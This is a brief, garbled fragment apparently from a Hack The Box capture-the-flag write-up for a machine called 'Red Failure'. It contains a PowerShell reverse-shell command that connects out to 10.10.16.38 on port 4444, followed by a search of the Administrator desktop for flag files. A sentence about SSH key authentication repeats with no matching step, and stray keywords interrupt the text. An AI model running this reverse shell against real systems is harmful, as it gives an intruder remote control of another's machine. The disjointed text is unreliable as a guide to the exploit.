Let's try to use the private key to authenticate via SSH:
.\Invoke-PowerShellTcpip.ps1 -Reverse -Ip 10.10.16.38 -Port 4444 red failure htb
Get-ChildItem -Path C:\Users\Administrator\Desktop -Filter *flag* Voilà! We've successfully exploited the Red Failure machine and obtained the flag. Let's try to use the private key to authenticate via SSH: